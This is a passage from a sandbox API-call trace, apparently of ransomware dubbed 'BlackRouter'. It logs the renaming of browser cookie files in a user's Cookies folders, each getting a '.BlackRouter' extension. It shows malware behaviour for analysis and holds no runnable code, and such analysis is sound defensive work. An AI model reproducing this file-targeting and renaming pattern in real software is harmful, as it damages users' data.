lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d8f4d50, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e69150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0077.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.blackrouter")) returned 1 [0077.822] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x6f [0077.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e658910, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e69150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0077.826] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.blackrouter")) returned 1 [0077.827] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x6e [0077.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e69150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0077.830] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.blackrouter")) returned 1 [0077.832] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x114 [0077.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86af2d0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e8f2b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0077.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.blackrouter")) returned 1 [0077.836] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x56 [0077.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e8f2b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0077.839] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.blackrouter")) returned 1 [0077.841] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x19e [0077.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xd4e8f2b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0077.844] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.blackrouter")) returned 1 [0078.049] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x66 [0078.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44eb6480, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44eb6480, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd50a45f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0078.053] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.blackrouter")) returned 1 [0078.054] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x66 [0078.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44bd95f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44bd95f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd50a45f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0078.057] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.blackrouter")) returned 1 [0078.059] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x5d [0078.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd50a45f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0078.063] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.blackrouter")) returned 1 [0078.064] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xea [0078.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2a0770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7d5790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd50a45f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0078.067] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.blackrouter")) returned 1 [0078.077] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x242 [0078.092] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5d5130, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0x45f08810, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd50f08b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0078.093] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.blackrouter")) returned 1 [0078.094] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x65 [0078.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd50f08b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0078.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.blackrouter")) returned 1 [0078.098] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x52 [0078.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53c70990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53c70990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd5116a10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0078.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.blackrouter")) returned 1 [0078.103] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x125 [0078.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x517fd8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51332930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd5116a10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0078.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.blackrouter")) returned 1 [0078.108] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xdd [0078.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54cce0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54cce0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd5116a10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0078.111] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.blackrouter")) returned 1 [0078.112] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x201 [0078.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4611db50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4611db50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd513cb70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0078.116] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.blackrouter")) returned 1 [0078.116] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x1ea [0078.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x534b4210, 